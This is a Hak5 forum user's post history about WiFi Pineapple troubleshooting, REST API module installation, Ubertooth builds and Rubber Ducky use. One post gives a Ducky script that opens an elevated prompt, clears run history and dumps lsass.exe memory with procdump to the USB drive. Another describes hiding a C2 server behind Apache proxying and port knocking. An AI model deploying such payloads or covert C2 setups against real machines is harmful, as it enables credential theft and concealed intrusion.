Thermostaten
-
Posts
77 -
Joined
-
Last visited
Posts posted by Thermostaten
-
-
I am trying to use the rest api to automate the setup of my pineapple VII and want to install the evilportal module.
I have read the guide here : https://hak5.github.io/mk7-docs/docs/rest/modules/modules/ but find the method description for downloading and installing a module hard to understand..
It just says:
Install remote module use the PUT /api/modules/install
Request Body
{BODY }Response
If successful, RETURNS:
{ RESPONSE }I cant figure out how to send that CURL line .. !?
Here is what I am doing so far but cant get the correct syntax:
CURL="/usr/bin/curl"
# GET REST_API_TOKEN
TOKEN=$(${CURL} -s -X POST http://172.16.42.1:1471/api/login -d '{"username": "root", "password": "Ihateplaintextpasswordsincommands"}'|cut -d '"' -f 4)# Download and install the evilportal module using the Token i just got from the last command
${CURL} -s -X PUT http://172.16.42.1:1471/api/modules/install -H "Authorization: Bearer ${TOKEN}" -d '{"name":"evilportal"}'It returns this error: {"error":"json: cannot unmarshal array into Go value of type models.RemoteModule"}
# This works and will return a list of modules i can download:
${CURL} -s -X GET http://172.16.42.1:1471/api/modules/available -H "Authorization: Bearer ${TOKEN}"[{"name":"MACInfo","title":"MAC Info","author":"KoalaV2","version":"1.1.1","description":"Lookup information on MAC Adresses","size":11405,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/MACInfo/download"},{"name":"hcxdumptool","title":"Hcxdumptool","author":"lorenzoPrimi","version":"1.0","description":"Small tool to capture packets from wlan devices.","size":14696,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/hcxdumptool/download"},{"name":"DNSspoof","title":"DNSspoof","author":"90N45","version":"1.0.2","description":"Spoof DNS records","size":11237,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/DNSspoof/download"},{"name":"httpeek","title":"HTTPeek","author":"newbi3","version":"1.2.1","description":"View plaintext HTTP traffic, such as cookies and images.","size":13077,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/httpeek/download"},{"name":"cabinet","title":"Cabinet","author":"newbi3","version":"1.2.1","description":"A simple browser based file manager for the WiFi Pineapple.","size":11452,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/cabinet/download"},{"name":"evilportal","title":"Evil Portal","author":"newbi3","version":"1.5.3","description":"An evil captive portal for the WiFi Pineapple.","size":35812,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/evilportal/download"},{"name":"DenyIP","title":"DenyIP","author":"90N45","version":"1.0.0","description":"Declare IP addresses and refuse their traffic","size":9056,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/DenyIP/download"},{"name":"locate","title":"Locate","author":"KoalaV2","version":"1.1.1","description":"Geolocate IP addresses and domain names over HTTPS via ipapi.","size":8822,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/locate/download"},{"name":"wpasec","title":"WpaSec","author":"makcanca","version":"1.0","description":"Provides UI to submit WPA handshakes to https://wpa-sec.stanev.org","size":9587,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/wpasec/download"},{"name":"wigle","title":"WiGLE","author":"90N45","version":"1.0.2","description":"Information gathering of APs with the WiGLE.net database","size":15160,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/wigle/download"},{"name":"mtr","title":"MTR","author":"KoalaV2","version":"1.1.1","description":"Traceroute and ping a host.","size":17496,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/mtr/download"},{"name":"tcpdump","title":"TCPDump","author":"newbi3","version":"1.3.1","description":"Web GUI for the tcpdump packet analyzer tool.","size":15522,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/tcpdump/download"},{"name":"mdk4","title":"MDK4","author":"newbi3","version":"1.3.2","description":"Web GUI for the MDK4 wireless testing tool.","size":29669,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/mdk4/download"},{"name":"nmap","title":"Nmap","author":"newbi3","version":"1.3.1","description":"Web GUI for Nmap, the popular network mapping tool.","size":20094,"download_link":"https://downloads.hak5.org/api/devices/wifipineapplemk7/modules/nmap/download"}]
How do I get this download and install to work ?
/Regards T.
-
naaa i get them too.. I think there is something broken inside of the pineapple code that messes up things..
-
root@server:/srv/hak5# cat /lib/systemd/system/knockd.service
[Unit]
Description=Port-Knock Daemon
After=network.target
Documentation=man:knockd(1)[Service]
EnvironmentFile=-/etc/default/knockd
ExecStart=/usr/sbin/knockd $KNOCKD_OPTS
ExecReload=/bin/kill -HUP $MAINPID
KillMode=mixed
SuccessExitStatus=0 2 15
ProtectSystem=full
#CapabilityBoundingSet=CAP_NET_RAW CAP_NET_ADMIN CAP_SYS_ADMIN CAP_DAC_READ_SEARCH CAP_FOWNER CAP_KILL CAP_MKNOD CAP_NET_BIND_SERVICE
#CapabilityBoundingSet=CAP_NET_RAW CAP_NET_ADMIN[Install]
WantedBy=multi-user.target
Alias=knockd.service# Here is the knockd.conf in /etc
root@server:/srv/hak5# cat /etc/knockd.conf
[options]
PidFile = /var/run/knockd.pid
LogFile = /var/log/knockd.log
Interface = ens192[startHAK5]
sequence = 80,1337,443,6666
seq_timeout = 5
command = /srv/hak5/port_knock_on
tcpflags = syn[stopHAK5]
sequence = 5555,443,1337,80
seq_timeout = 5
command = /srv/hak5/port_knock_off
tcpflags = syn -
I got one step closer ( have not tested a client connection yet)
Now my covert server is online and when you know the "secret" link you will get the c2 login page - in this example below the secret link is /hak5
To ensure it is not always online i have also installed knockd and run a start / stop script that ensures nothing from the c2 is exposed or running when I do not need the C2.
To get knockd to work you have to alter /lib/systemd/system/knockd.service and remove or # outcomment the "CapabilityBoundingSet" line - then it can run the scripts.
I am using iptables (not sure it is needed)
-A POSTROUTING -o ens192 -j MASQUERADE
Starting C2 like this:
/srv/hak5/c2/c2_community-linux-64 -db ./c2.db -hostname www.my-covert-server.com -https -listenip 127.0.0.1
And I am use cloudflare and took cloudflares certificate ( they make it for you ) - converted it in to a pem and a .key file
And in apache default-ssl.conf i added this:
SSLCertificateFile /etc/ssl/private/my-covert-server.com.pem
SSLCertificateKeyFile /etc/ssl/private/my-covert-server.com.keyThen i found cloudflares CA cert by googling and added it also to the default-ssl.conf
SSLCertificateChainFile /usr/share/ca-certificates/cloudflare/cloudflare-ca.crt
and for proxying i added this (also to default-ssl.conf)..
<IfModule mod_proxy.c>
# a2enmod proxy
# a2enmod proxy_http
ProxyPreserveHost On
SSLProxyEngine On
ProxyRequests Off
ServerName www.my-cover-server.com
ServerAlias my-cover-server.com
#
ProxyPassMatch "/hak5/(.*)" "https://127.0.0.1:443/$1"
ProxyPassReverse "/hak5/(.*)" "https://127.0.0.1:443/$1"ProxyPassMatch "/assets/(.*)" "https://127.0.0.1:443/assets/$1"
ProxyPassReverse "/assets/(.*)" "https://127.0.0.1:443/assets/$1"ProxyPassMatch "/api/(.*)" "https://127.0.0.1:443/api/$1"
ProxyPassReverse "/api/(.*)" "https://127.0.0.1:443/api/$1"ProxyPassMatch "/login/(.*)" "https://127.0.0.1:443/login/$1"
ProxyPassReverse "/login/(.*)" "https://127.0.0.1:443/login/$1"
ProxyPassMatch "/dapi/(.*)" "https://127.0.0.1:443/dapi/$1"
ProxyPassReverse "/dapi/(.*)" "https://127.0.0.1:443/dapi/$1"
</IfModule> -
Would it be possible to run the C2 on an existing webserver ?
My ideal setup would be:
webserver listen on ip 10.0.0.80 (just some local ip the server has and is behind NAT to an external IP) and port 443 + 80 and run HSTS, behind cloudflare or alike.
The hak5 C2 listen on 127.0.0.1 port 443, 80 2022
The webserver redirects /whatever_i_choose/link to the C2 service -> 127.0.0.1:443, 80 2022 etc..
That way i can have a covert C2 running behind a legit looking webserver.
I were thinking of using IP tables or apache proxy, mod_rewrite to do this - would it work when the C2 wants the ssl cert ? could this be done ?
Best regards
T
root@server:~# netstat -tupln Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 782/sshd tcp 0 0 10.10.10.10:80 0.0.0.0:* LISTEN 1565/apache2 tcp 0 0 10.10.10.10:443 0.0.0.0:* LISTEN 1565/apache2 tcp 0 0 127.0.0.1:80 0.0.0.0:* LISTEN 1633/c2_community-l tcp 0 0 127.0.0.1:443 0.0.0.0:* LISTEN 1633/c2_community-l tcp 0 0 127.0.0.1:2022 0.0.0.0:* LISTEN 1633/c2_community-l -
De-Authentication attack.
Will the Pineapple have any value when everybody uses 802.11w ( http://en.wikipedia.org/wiki/IEEE_802.11w-2009 ) ?
The protocol ensures a hash value to all management frames that are sent so a 3 party can not de-authenticate (without having the correct hash value)
Cisco calls the feature for "Management Frame Protection" (http://www.cisco.com/c/en/us/support/docs/wireless-mobility/wlan-security/82196-mfp.html)I also saw that The Wi-Fi Alliance (WFA) has made support of Protected Management Frames (PMF) mandatory to pass 802.11ac or Passpoint also called HotSpot2.0 certifications.
-
I have added a script to set the background image of a windows 10 ( might work on other versions also..)
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Change-the-background-to-MyLittlePoney-(win10)
Regards Keld.
-
Any one know if the 2.4.0 code can run on more powerfull hardware or have been ported ?
I would like to run it on an i7 NUC with an octo core, therrabytes of memory, solid state disk and ..
:)
Regards Thermostaten
-
Sure - but .. what is the alternative ?
Run the same functions that Mark V delivers on a self installed openwrt running on a NUC with proper CPU, Disk and memory ;)
Well - i think i figured it out - the auto start of pineap does not run well when the dip switches starts the same function ( running twice)
Now my focus is on the speed of the sd card.. it also troubles me (darn slow.. )
http://www.bhphotovideo.com/explora/photography/buying-guide/fastest-memory-cards-money-can-buy
I hope the next mark VI is with +2G memory and options to expand it ..
-
I have this problem - tmp runs full .. because of perhaps to many clients for the pineap ? what is the easy way to get that tmp directory moved to /sd/tmp ?
root@bridge:/tmp# df -hFilesystem Size Used Available Use% Mounted onrootfs 3.1M 2.4M 720.0K 78% //dev/root 11.8M 11.8M 0 100% /romtmpfs 30.2M 30.2M 0 100% /tmptmpfs 512.0K 0 512.0K 0% /dev/dev/mtdblock3 3.1M 2.4M 720.0K 78% /overlayoverlayfs:/overlay 3.1M 2.4M 720.0K 78% //dev/sdcard/sd1 904.4M 69.3M 789.7M 8% /sdHere is the "sinner file" - filling up tmproot@bridge:/tmp# ls -alh spool/cron/atspool/a00004017012b1-rw------- 1 root root 30.1M Nov 12 11:11 spool/cron/atspool/a00004017012b1root@bridge:/tmp# tail spool/cron/atspool/a00004017012b1Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.Cannot accept client.root@bridge:/tmp# at -l4 Thu Nov 12 10:53:00 2015 = rootIt is made by the AT job ..root@bridge:/tmp# at -c 4#!/bin/sh# atrun uid=0 gid=0# mail root 0umask 22CONFIG_cfg02e48a_TYPE=system; export CONFIG_cfg02e48a_TYPEUSER=root; export USERCONFIG_cfg058bba_dev=eth0; export CONFIG_cfg058bba_devCONFIG_autostart_log_associations=1; export CONFIG_autostart_log_associationsCONFIG_cfg078bba_dev=wlan0; export CONFIG_cfg078bba_devHOME=/; export HOMECONFIG_cfg058bba_TYPE=led; export CONFIG_cfg058bba_TYPECONFIG_cfg02e48a_timezone=GMT-1; export CONFIG_cfg02e48a_timezoneCONFIG_cfg098bba_dev=wlan1; export CONFIG_cfg098bba_devCONFIG_cfg078bba_TYPE=led; export CONFIG_cfg078bba_TYPECONFIG_ntp_server_LENGTH=; export CONFIG_ntp_server_LENGTHCONFIG_ntp_server=; export CONFIG_ntp_serverCONFIG_cfg098bba_TYPE=led; export CONFIG_cfg098bba_TYPECONFIG_cfg058bba_trigger=netdev; export CONFIG_cfg058bba_triggerCONFIG_autostart_harvester=1; export CONFIG_autostart_harvesterCONFIG_cfg078bba_trigger=netdev; export CONFIG_cfg078bba_triggerCONFIG_cfg098bba_trigger=netdev; export CONFIG_cfg098bba_triggerCONFIG_ntp_enable_server=1; export CONFIG_ntp_enable_serverCONFIG_autostart_TYPE=pineap; export CONFIG_autostart_TYPECONFIG_cfg058bba_sysfs=mk5:amber:lan; export CONFIG_cfg058bba_sysfsCONFIG_ntp_TYPE=timeserver; export CONFIG_ntp_TYPEstatus=1; export statusCONFIG_cfg078bba_sysfs=mk5:blue:wlan0; export CONFIG_cfg078bba_sysfsCONFIG_NUM_SECTIONS=1; export CONFIG_NUM_SECTIONSCONFIG_autostart_enabled=1; export CONFIG_autostart_enabledCONFIG_autostart_pineap=1; export CONFIG_autostart_pineapCONFIG_autostart_dogma=1; export CONFIG_autostart_dogmaPATH=/sbin:/usr/sbin:/bin:/usr/bin; export PATHCONFIG_LIST_STATE=; export CONFIG_LIST_STATECONFIG_cfg098bba_sysfs=mk5:red:wlan1; export CONFIG_cfg098bba_sysfsCONFIG_autostart_log_probes=0; export CONFIG_autostart_log_probesforeground=0; export foregroundCONFIG_cfg058bba_name=ethernet; export CONFIG_cfg058bba_nameCONFIG_autostart_karma=1; export CONFIG_autostart_karmaCONFIG_cfg078bba_name=wlan0; export CONFIG_cfg078bba_nameCONFIG_cfg098bba_name=wlan1; export CONFIG_cfg098bba_nameCONFIG_cfg058bba_mode=link\ tx\ rx; export CONFIG_cfg058bba_modeCONFIG_ntp_server_ITEM1=10.13.37.42; export CONFIG_ntp_server_ITEM1CONFIG_cfg078bba_mode=link\ tx\ rx; export CONFIG_cfg078bba_modeCONFIG_cfg098bba_mode=link\ tx\ rx; export CONFIG_cfg098bba_modeCONFIG_SECTION=autostart; export CONFIG_SECTIONPWD=/; export PWDCONFIG_cfg02e48a_hostname=bridge; export CONFIG_cfg02e48a_hostnameCONFIG_autostart_beacon_responses=1; export CONFIG_autostart_beacon_responsesCONFIG_SECTIONS=autostart; export CONFIG_SECTIONScd / || {echo 'Execution directory inaccessible' >&2exit 1}pineap 6 00:13:37:A5:09:BE -
This driver SHOULD be default in Mark IV base installation - it is the most awesome looking card - and image does matter :)
Nice post - thanks for the guide!
-
Anyone here got the huawei e5776 usb tethering to work ?
I have had some mixed results with writing my own /etc/usb_modeswitch.d/12d1\:1506
and echo '12d1 1506' > /sys/bus/usb-serial/drivers/option1/new_id
But neve got to see a ethX show up
Regards Thermostaten
-
Workaround:
# ssh to the Mark V:
ssh root@172.16.42.1
# Install the packages
opkg update
opkg install curl
opkg install msmtp
# That should do it..
-
-
Dont edit the file to alter/add the country - just use the uci command instead..
uci set wireless.@wifi-device[0].country=NZ;uci commit wirelessuci set wireless.@wifi-device[1].country=NZ;uci commit wireless -
-
crap.. business as usual..
root@Pineapple:/etc/config# opkg install sshfsInstalling sshfs (2.2-1) to root...Collected errors:* satisfy_dependencies_for: Cannot satisfy the following dependencies for sshfs:* kernel (= 3.3.8-1-d6597ebf6203328d3519ea3c3371a493) ** opkg_install_cmd: Cannot install package sshfs. -
Why not just add sshfs - mount your ( perhaps also via tor ) remote fs and write all your data to that.. Pinapple kept clean :)
root@Pineapple:/etc/config# opkg list|grep sshfssshfs - 2.2-1 - Mount remote system over sftp. -
Ref. the link to a USB HUB you posted ... it's a USB2 hub.
I use it to get windows lsass memory dumps as Darrne and others showed us how to do..Here is the code i have running right now on it:
DELAY 15000WINDOWS rDELAY 200STRING powershell Start-Process cmd.exe -Verb RunAsENTERDELAY 700ALT yDELAY 100BACKSPACESTRING reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /fENTERDELAY 1000STRING for /f %d in ('wmic volume get driveletter^, label ^| findstr "Keyboard"') do set duck=%dENTERDELAY 1000STRING %duck%\procdump.exe -accepteula -ma lsass.exe %duck%\%COMPUTERNAME%_lsass.dmpENTERSTRING start C:\Windows\System32\Ribbons.scr -sENTERSTRING exitENTERI actually also bought a lot of micro SD cards and have all the lovely scripts ready for every job or opportunity i encounter.. -
I bought it here: http://www.hardware-store.dk/index.php?searchStr=USB+3.0+hub+&act=viewCat&Submit=S%F8g
At this link: http://www.hardware-store.dk/usb-3-0-hub/prod_9295.html
There are other models:
http://www.hardware-store.dk/usb-3-0-hub/prod_9294.html
-
How does your duck setup look :)
I use a bigger USB Storage device now other than the shown ( the top one of the type "SanDisk") because the shown one is only USB2 and the new USB3 one I got also flashes red when it receives data - so now i know when i can remove the hub without losing data.
How does your setup look ?
-
Is there an easy way to get all the existing infusions installed via the command line ?
opkg update && opkg install ?? --dest usb
Regards Thermo.
-
Firmware level: 2.8.0Where is FSCK ?root@Pineapple:/etc/config# opkg files block-mountPackage block-mount (0.2.0-10) is installed on root and has the following files:/lib/preinit/00_extroot.conf/lib/functions/extmount.sh/lib/functions/block.sh/lib/functions/mount.sh/etc/hotplug.d/block/40-mount/lib/preinit/55_determine_extroot_sysupgrade/etc/hotplug.d/block/20-fsck/lib/preinit/60_pivot_usb_root/etc/config/fstab/etc/hotplug.d/block/10-swap/lib/preinit/50_determine_usb_root/etc/init.d/fstab/lib/functions/fsck.sh <--------------------------------------------------- HEREroot@Pineapple:/etc/config# ls /lib/functions/fsck.sh/lib/functions/fsck.shroot@Pineapple:/etc/config# cat /lib/functions/fsck.sh#!/bin/sh# Copyright 2010 Vertical Communications# This is free software, licensed under the GNU General Public License v2.# See /LICENSE for more information.#libmount_fsck() {local device="$1"local fsck_fstype="$2"local fsck_enabled="$3"local known_typelocal found_fsck=0grep -q "$device" /proc/swaps || grep -q "$device" /proc/mounts || {[ -e "$device" ] && [ "$fsck_enabled" -eq 1 ] && {for known_type in $libmount_known_fsck; doif [ "$known_type" = "$fsck_fstype" ]; thenfsck_${known_type} "$device"found_fsck=1breakfidoneif [ "$found_fsck" -ne 1 ]; thenlogger -t 'fstab' "Unable to check/repair $device; no known fsck for filesystem type $fstype"fi}}}libmount_known_fsck=""pi_include /lib/functions/fsck <--------------NOTICEroot@Pineapple:~# ls -al /lib/functions/fsckdrwxr-xr-x 2 root root 3 Mar 2 2013 .drwxr-xr-x 1 root root 0 Mar 3 2013 ..root@Pineapple:/etc/config# /lib/functions/fsck.sh-ash: /lib/functions/fsck.sh: Permission deniedroot@Pineapple:/etc/config# ls -al /lib/functions/fsck.sh-rw-r--r-- 1 root root 794 Mar 2 05:43 /lib/functions/fsck.shroot@Pineapple:/etc/config# chmod 755 /lib/functions/fsck.shroot@Pineapple:/etc/config# ls -al /lib/functions/fsck.sh-rwxr-xr-x 1 root root 794 Mar 2 05:43 /lib/functions/fsck.shroot@Pineapple:/etc/config# /lib/functions/fsck.sh /dev/sda1/lib/functions/fsck.sh: line 33: pi_include: not foundSo !? is there no fsck avail ?
-
# -----------compile firmware ------------
Try to use this : https://sourcery.mentor.com/sgpp/lite/arm/portal/package7815/public/arm-none-eabi/arm-2010.09-51-arm-none-eabi.bin
That worked for me...
Here is my messy notes from when i compiled firmware for my ubertooth..
http://sourceforge.net/projects/ubertooth/
apt-get install python-pyside.qtgui
apt-get install python-usb
apt-get install libusb-dev python-pyside python-numpy subversion
git clone git://ubertooth.git.sourceforge.net/gitroot/ubertooth/ubertooth
mkdir temp
cd temp
wget http://sourceforge.net/projects/pyusb/files/PyUSB%201.0/1.0.0-alpha-1/pyusb-1.0.0-a1.zip
wget http://sourceforge.net/projects/pyusb/files/PyUSB%201.0/1.0.0-alpha-2/pyusb-1.0.0a2.zip
unzip pyusb-1.0.0a2.zip
cd pyusb-1.0.0a2/
python setup.py install
cd ~/source/UBERTOOTH/ubertooth/trunk/host/specan_ui
# insert ubertooth (2 green lights) wait for 1 red light (USB) and run the following as root:
apt-get install libicu48
python ./specan_ui.py
apt-get install libfuse-dev libdbus-1-3 libdbus-1-dev obexftp libobexftp* libdbus-glib-1-2 libdbus-glib-1-dev obexfs python-gobject python-dbus bluez-hcidump
FORGET THE REST BELOW.. just test stuff
svn co https://pyusb.svn.sourceforge.net/svnroot/pyusb pyusb
# cd pyusb/trunk/
# ./setup.py build
# ./setup.py install
# cd ../../
# python specan_ui.py
$ git clone git://git.code.sf.net/p/libbtbb/code libbtbb
$ cd libbtbb/
$ gmake
$ sudo make install
hciconfig -a # List the device
# -----------compile firmware ------------
SOME TEST FILES... SKIP.. https://sourcery.mentor.com/sgpp/lite/arm/portal/package8734/public/arm-none-eabi/arm-2011.03-42-arm-none-eabi-i686-pc-linux-gnu.tar.bz2
How do i download and install a specific module using the rest api ?
in Mark VII Mods & Modules
Posted
Thanks that worked :). Where can i find the documentation for that naming ?